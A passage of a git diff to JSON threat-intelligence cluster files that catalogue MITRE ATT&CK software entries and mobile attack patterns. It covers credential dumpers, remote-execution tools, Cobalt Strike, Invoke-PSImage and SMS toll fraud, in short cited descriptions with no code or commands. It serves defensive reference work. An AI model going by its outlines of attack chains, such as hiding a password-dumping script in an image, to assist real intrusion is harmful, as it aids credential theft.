"afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "description": " (Citation: xCmd) is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems. (Citation: xCmd)\n\nAliases: (Citation: xCmd)", + "value": "xCmd - S0123", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0123", + "https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/" + ], + "external_id": "S0123", + "synonyms": [ + "xCmd" + ] + }, + "uuid": "4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b" + }, + { + "description": "MimiPenguin is a credential dumper, similar to Mimikatz, designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)\n\nAliases: MimiPenguin\n\nContributors: Vincent Le Toux", + "value": "MimiPenguin - S0179", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0179", + "https://github.com/huntergregal/mimipenguin" + ], + "external_id": "S0179", + "synonyms": [ + "MimiPenguin" + ] + }, + "uuid": "5a33468d-844d-4b1f-98c9-0e786c556b27" + }, + { + "description": "is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)\n\nAliases: SDelete", + "value": "SDelete - S0195", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0195", + "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" + ], + "external_id": "S0195", + "synonyms": [ + "SDelete" + ] + }, + "uuid": "d8d19e33-94fd-4aa3-b94a-08ee801a2153" + }, + { + "description": "Systeminfo is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)\n\nAliases: Systeminfo, systeminfo.exe", + "value": "Systeminfo - S0096", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0096", + "https://technet.microsoft.com/en-us/library/bb491007.aspx" + ], + "external_id": "S0096", + "synonyms": [ + "Systeminfo", + "systeminfo.exe" + ] + }, + "uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1" + }, + { + "description": "netsh is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)\n\nAliases: netsh, netsh.exe", + "value": "netsh - S0108", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0108", + "https://technet.microsoft.com/library/bb490939.aspx" + ], + "external_id": "S0108", + "synonyms": [ + "netsh", + "netsh.exe" + ] + }, + "uuid": "5a63f900-5e7e-4928-a746-dd4558e1df71" + }, + { + "description": "dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.\n\nAliases: dsquery, dsquery.exe", + "value": "dsquery - S0105", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0105", + "https://technet.microsoft.com/en-us/library/cc732952.aspx" + ], + "external_id": "S0105", + "synonyms": [ + "dsquery", + "dsquery.exe" + ] + }, + "uuid": "38952eac-cb1b-4a71-bad2-ee8223a1c8fe" + }, + { + "description": "gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)\n\nAliases: gsecdump", + "value": "gsecdump - S0008", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0008", + "https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump%20v2.0b5" + ], + "external_id": "S0008", + "synonyms": [ + "gsecdump" + ] + }, + "uuid": "b07c2c47-fefb-4d7c-a69e-6a3296171f54" + }, + { + "description": "Ping is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)\n\nAliases: Ping, ping.exe", + "value": "Ping - S0097", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0097", + "https://technet.microsoft.com/en-us/library/bb490968.aspx" + ], + "external_id": "S0097", + "synonyms": [ + "Ping", + "ping.exe" + ] + }, + "uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47" + }, + { + "description": "Fgdump is a Windows password hash dumper. (Citation: Mandiant APT1)\n\nAliases: Fgdump", + "value": "Fgdump - S0120", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0120", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "external_id": "S0120", + "synonyms": [ + "Fgdump" + ] + }, + "uuid": "4f45dfeb-fe51-4df0-8db3-edf7dd0513fe" + }, + { + "description": "Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)\n\nAliases: Lslsass", + "value": "Lslsass - S0121", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0121", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "external_id": "S0121", + "synonyms": [ + "Lslsass" + ] + }, + "uuid": "2fab555f-7664-4623-b4e0-1675ae38190b" + }, + { + "description": "Pass-The-Hash Toolkit is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)\n\nAliases: Pass-The-Hash Toolkit", + "value": "Pass-The-Hash Toolkit - S0122", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0122", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "external_id": "S0122", + "synonyms": [ + "Pass-The-Hash Toolkit" + ] + }, + "uuid": "a52edc76-328d-4596-85e7-d56ef5a9eb69" + }, + { + "description": "FTP is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP)\n\nAliases: FTP, ftp.exe", + "value": "FTP - S0095", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0095", + "https://en.wikipedia.org/wiki/File%20Transfer%20Protocol" + ], + "external_id": "S0095", + "synonyms": [ + "FTP", + "ftp.exe" + ] + }, + "uuid": "cf23bf4a-e003-4116-bbae-1ea6c558d565" + }, + { + "description": "ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)\n\nAliases: ipconfig, ipconfig.exe", + "value": "ipconfig - S0100", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0100", + "https://technet.microsoft.com/en-us/library/bb490921.aspx" + ], + "external_id": "S0100", + "synonyms": [ + "ipconfig", + "ipconfig.exe" + ] + }, + "uuid": "294e2560-bd48-44b2-9da2-833b5588ad11" + }, + { + "description": "nbtstat is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)\n\nAliases: nbtstat, nbtstat.exe", + "value": "nbtstat - S0102", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0102", + "https://technet.microsoft.com/en-us/library/cc940106.aspx" + ], + "external_id": "S0102", + "synonyms": [ + "nbtstat", + "nbtstat.exe" + ] + }, + "uuid": "b35068ec-107a-4266-bda8-eb7036267aea" + }, + { + "description": "HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)\n\nAliases: HTRAN, HUC Packet Transmit Tool", + "value": "HTRAN - S0040", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0040", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" + ], + "external_id": "S0040", + "synonyms": [ + "HTRAN", + "HUC Packet Transmit Tool" + ] + }, + "uuid": "d5e96a35-7b0b-4c6a-9533-d63ecbda563e" + }, + { + "description": "Tor is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. Tor utilizes \"Onion Routing,\" in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)\n\nAliases: Tor", + "value": "Tor - S0183", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0183", + "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf" + ], + "external_id": "S0183", + "synonyms": [ + "Tor" + ] + }, + "uuid": "ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68" + }, + { + "description": "netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)\n\nAliases: netstat, netstat.exe", + "value": "netstat - S0104", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0104", + "https://technet.microsoft.com/en-us/library/bb490947.aspx" + ], + "external_id": "S0104", + "synonyms": [ + "netstat", + "netstat.exe" + ] + }, + "uuid": "4664b683-f578-434f-919b-1c1aad2a1111" + }, + { + "description": "pwdump is a credential dumper. (Citation: Wikipedia pwdump)\n\nAliases: pwdump", + "value": "pwdump - S0006", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0006", + "https://en.wikipedia.org/wiki/Pwdump" + ], + "external_id": "S0006", + "synonyms": [ + "pwdump" + ] + }, + "uuid": "9de2308e-7bed-43a3-8e58-f194b3586700" + }, + { + "description": "Cachedump is a publicly-available tool that program extracts cached password hashes from a system\u2019s registry. (Citation: Mandiant APT1)\n\nAliases: Cachedump", + "value": "Cachedump - S0119", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0119", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "external_id": "S0119", + "synonyms": [ + "Cachedump" + ] + }, + "uuid": "c9cd7ec9-40b7-49db-80be-1399eddd9c52" + }, + { + "description": "Forfiles is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)\n\nAliases: Forfiles\n\nContributors: Matthew Demaske, Adaptforward", + "value": "Forfiles - S0193", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0193", + "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)" + ], + "external_id": "S0193", + "synonyms": [ + "Forfiles" + ] + }, + "uuid": "90ec2b22-7061-4469-b539-0989ec4f96c2" + }, + { + "description": "The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)\n\nNet has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through Windows admin shares using net use commands, and interacting with services.\n\nAliases: Net, net.exe", + "value": "Net - S0039", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0039", + "https://msdn.microsoft.com/en-us/library/aa939914", + "http://windowsitpro.com/windows/netexe-reference" + ], + "external_id": "S0039", + "synonyms": [ + "Net", + "net.exe" + ] + }, + "uuid": "03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "description": "PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)\n\nAliases: PsExec", + "value": "PsExec - S0029", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0029", + "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx", + "https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive" + ], + "external_id": "S0029", + "synonyms": [ + "PsExec" + ] + }, + "uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "description": "Certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)\n\nAliases: certutil, certutil.exe", + "value": "certutil - S0160", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0160", + "https://technet.microsoft.com/library/cc732443.aspx" + ], + "external_id": "S0160", + "synonyms": [ + "certutil", + "certutil.exe" + ] + }, + "uuid": "0a68f1f1-da74-4d28-8d9a-696c082706cc" + }, + { + "description": "Arp displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)\n\nAliases: Arp, arp.exe", + "value": "Arp - S0099", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0099", + "https://technet.microsoft.com/en-us/library/bb490864.aspx" + ], + "external_id": "S0099", + "synonyms": [ + "Arp", + "arp.exe" + ] + }, + "uuid": "30489451-5886-4c46-90c9-0dff9adc5252" + }, + { + "description": "cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)\n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., dir (Citation: TechNet Dir)), deleting files (e.g., del (Citation: TechNet Del)), and copying files (e.g., copy (Citation: TechNet Copy)).\n\nAliases: cmd, cmd.exe", + "value": "cmd - S0106", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0106", + "https://technet.microsoft.com/en-us/library/bb490880.aspx", + "https://technet.microsoft.com/en-us/library/cc755121.aspx", + "https://technet.microsoft.com/en-us/library/cc771049.aspx", + "https://technet.microsoft.com/en-us/library/bb490886.aspx" + ], + "external_id": "S0106", + "synonyms": [ + "cmd", + "cmd.exe" + ] + }, + "uuid": "bba595da-b73a-4354-aa6c-224d4de7cb4e" + }, + { + "description": "Havij is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)\n\nAliases: Havij", + "value": "Havij - S0224", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0224", + "https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/" + ], + "external_id": "S0224", + "synonyms": [ + "Havij" + ] + }, + "uuid": "fbd727ea-c0dc-42a9-8448-9e12962d1ab5" + }, + { + "description": "PowerSploit is an open source, offensive security framework compromised of PowerShell modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)\n\nAliases: PowerSploit", + "value": "PowerSploit - S0194", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0194", + "https://github.com/PowerShellMafia/PowerSploit", + "http://www.powershellmagazine.com/2014/07/08/powersploit/", + "http://powersploit.readthedocs.io" + ], + "external_id": "S0194", + "synonyms": [ + "PowerSploit" + ] + }, + "uuid": "13cd9151-83b7-410d-9f98-25d0f0d1d80d" + }, + { + "description": "meek is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.\n\nAliases: meek", + "value": "meek - S0175", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0175" + ], + "external_id": "S0175", + "synonyms": [ + "meek" + ] + }, + "uuid": "65370d0b-3bd4-4653-8cf9-daf56f6be830" + }, + { + "description": "Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)\n\nUtilities such as Reg are known to be used by persistent threats. (Citation: Windows Commands JPCERT)\n\nAliases: Reg, reg.exe", + "value": "Reg - S0075", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0075", + "https://technet.microsoft.com/en-us/library/cc732643.aspx", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + ], + "external_id": "S0075", + "synonyms": [ + "Reg", + "reg.exe" + ] + }, + "uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f" + }, + { + "description": "spwebmember is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)\n\nAliases: spwebmember", + "value": "spwebmember - S0227", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0227", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + ], + "external_id": "S0227", + "synonyms": [ + "spwebmember" + ] + }, + "uuid": "33b9e38f-103c-412d-bdcf-904a91fff1e4" + }, + { + "description": "Pupy is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) Pupy is publicly available on GitHub. (Citation: GitHub Pupy)\n\nAliases: Pupy", + "value": "Pupy - S0192", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0192", + "https://github.com/n1nj4sec/pupy" + ], + "external_id": "S0192", + "synonyms": [ + "Pupy" + ] + }, + "uuid": "cb69b20d-56d0-41ab-8440-4a4b251614d4" + }, + { + "description": "sqlmap is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)\n\nAliases: sqlmap", + "value": "sqlmap - S0225", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0225", + "http://sqlmap.org/" + ], + "external_id": "S0225", + "synonyms": [ + "sqlmap" + ] + }, + "uuid": "9a2640c2-9f43-46fe-b13f-bde881e55555" + }, + { + "description": "Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as \u201cadversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors\u201d. Cobalt Strike\u2019s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz. (Citation: cobaltstrike manual)\n\nAliases: Cobalt Strike\n\nContributors: Josh Abraham", + "value": "Cobalt Strike - S0154", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0154", + "https://cobaltstrike.com/downloads/csmanual38.pdf" + ], + "external_id": "S0154", + "synonyms": [ + "Cobalt Strike" + ] + }, + "uuid": "aafea02e-ece5-4bb2-91a6-3bf8c7f38a39" + }, + { + "description": "Invoke-PSImage takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)\n\nAliases: Invoke-PSImage\n\nContributors: Christiaan Beek, @ChristiaanBeek", + "value": "Invoke-PSImage - S0231", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0231", + "https://github.com/peewpw/Invoke-PSImage" + ], + "external_id": "S0231", + "synonyms": [ + "Invoke-PSImage" + ] + }, + "uuid": "b52d6583-14a2-4ddc-8527-87fd2142558f" + } + ] +} \ No newline at end of file diff --git a/clusters/mitre-mobile-attack-attack-pattern.json b/clusters/mitre-mobile-attack-attack-pattern.json index 3b49cd9..5e36f07 100644 --- a/clusters/mitre-mobile-attack-attack-pattern.json +++ b/clusters/mitre-mobile-attack-attack-pattern.json @@ -1,1216 +1,1538 @@ { - "name": "Mobile Attack - Attack Pattern", - "type": "mitre-mobile-attack-attack-pattern", - "description": "ATT&CK tactic", - "version": 2, - "source": "https://github.com/mitre/cti", - "uuid": "1e606d06-1708-11e8-8a43-df11c8cf9ae2", - "authors": [ - "MITRE" - ], - "values": [ - { - "description": "An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in (Citation: Forbes-iPhoneSMS).\n\nAn SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.\n\nAs described by SRLabs in (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.\n\nPlatforms: Android, iOS", - "value": "Malicious SMS Message - MOB-T1057", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1057", - "http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html", - "https://srlabs.de/bites/rooting-sim-cards/" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "0bcc4ec1-a897-49a9-a9ff-c00df1d1209d" - }, - { - "description": "If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication. For example, He et al. (Citation: mHealth) describe numerous healthcare-related applications that did not properly protect network communication.\n\nPlatforms: Android, iOS", - "value": "Eavesdrop on Insecure Network Communication - MOB-T1042", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1042", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html", - "https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "393e8c12-a416-4575-ba90-19cc85656796" - }, - { - "description": "An adversary could use knowledge of the techniques used by security software to evade detection. For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed \"su\" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection as described by (Citation: Rastogi) et al. (Citation: Rastogi). \n\n (Citation: Brodie) (Citation: Brodie) describes limitations of jailbreak/root detection mechanisms.\n\n (Citation: Tan) (Citation: Tan) describes his experience defeating the jailbreak detection used by the iOS version of Good for Enterprise.\n\nPlatforms: Android, iOS", - "value": "Disguise Root/Jailbreak Indicators - MOB-T1011", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1011", - "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html", - "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf", - "https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf", - "http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "b332a960-3c04-495a-827f-f17a5daed3a6" - }, - { - "description": "On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.\n\nPlatforms: Android", - "value": "Device Type Discovery - MOB-T1022", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1022", - "https://zeltser.com/third-party-keyboards-security/" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "89fcd02f-62dc-40b9-a54b-9ac4b1baef05" - }, - { - "description": "A malicious app could use standard Android APIs to send SMS messages. SMS messages could potentially be sent to premium numbers that charge the device owner and generate revenue for an adversary, for example as described by Lookout in (Citation: Lookout-SMS).\n\nOn iOS, apps cannot send SMS messages.\n\nOn Android, apps must hold the SEND_SMS permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).\n\nDetection: As described in Google's Android Security 2014 Year in Review Report (Citation: AndroidSecurity2014), starting with Android 4.2 the user is prompted and must provide consent before applications can send SMS messages to premium numbers.\n\nOn Android 6.0 and up, the user can view which applications have permission to send SMS messages through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android", - "value": "Premium SMS Toll Fraud - MOB-T1051", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1051", - "https://blog.lookout.com/blog/2013/08/02/dragon-lady/", - "https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google%20Android%20Security%202014%20Report%20Final.pdf" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274" - }, - { - "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB).\n\nDetection: Google provides the ability for users to view their account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS", - "value": "Obtain Device Cloud Backups - MOB-T1073", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1073", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html", - "https://www.elcomsoft.com/eppb.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "0c71033e-401e-4b97-9309-7a7c95e43a5d" - }, - { - "description": "On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.\n\nPlatforms: Android", - "value": "Access Sensitive Data in Device Logs - MOB-T1016", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1016", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3" - }, - { - "description": "With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC. Wang and Stavrou (Citation: Wang-ExploitingUSB) and Kamkar (Citation: ArsTechnica-PoisonTap) describe this technique. This technique has been demonstrated on Android, and we are unaware of any demonstrations on iOS.\n\nPlatforms: Android", - "value": "Attack PC via USB Connection - MOB-T1030", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1030", - "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html", - "http://dl.acm.org/citation.cfm?id=1920314", - "http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "a0464539-e1b7-4455-a355-12495987c300" - }, - { - "description": "A malicious app can register to receive intents meant for other applications and may then be able to receive sensitive values such as OAuth authorization codes as described in (Citation: IETF-PKCE).\n\nPlatforms: Android", - "value": "Android Intent Hijacking - MOB-T1019", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1019", - "https://tools.ietf.org/html/rfc7636" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58" - }, - { - "description": "An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application. This technique, for example, could be used to capture OAuth authorization codes as described in (Citation: IETF-PKCE) or to phish user credentials as described in (Citation: MobileIron-XARA). Related potential security implications are described in (Citation: Dhanjani-URLScheme). FireEye researchers describe URL scheme hijacking in a blog post (Citation: FireEye-Masque2), including evidence of its use.\n\nPlatforms: iOS", - "value": "URL Scheme Hijacking - MOB-T1018", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1018", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-10.html", - "https://tools.ietf.org/html/rfc7636", - "https://www.mobileiron.com/en/smartwork-blog/ios-url-scheme-hijacking-xara-attack-analysis-and-countermeasures", - "http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html", - "https://www.fireeye.com/blog/threat-research/2015/02/ios%20masque%20attackre.html" - ], - "mitre_platforms": [ - "iOS" - ] - }, - "uuid": "8f142a25-f6c3-4520-bd50-2ae3ab50ed3e" - }, - { - "description": "Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).\n\nPlatforms: Android, iOS", - "value": "Exploit Enterprise Resources - MOB-T1031", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1031", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "22379609-a99f-4a01-bd7e-70f3e105859d" - }, - { - "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.\n\nDetection: Android devices with the Verified Boot capability (Citation: Android-VerifiedBoot) perform cryptographic checks of the integrity of the system partition.\n\nThe Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices.\n\nSamsung KNOX also provides a remote attestation capability on supported Samsung Android devices.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.\n\nPlatforms: Android, iOS", - "value": "Modify System Partition - MOB-T1003", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1003", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", - "https://source.android.com/security/verifiedboot/", - "https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0" - }, - { - "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.\n\nOn Android, much of this information is programmatically accessible to applications through the android.os.Build class (Citation: Android-Build).\n\nOn iOS, techniques exist for applications to programmatically access this information, for example as described in (Citation: 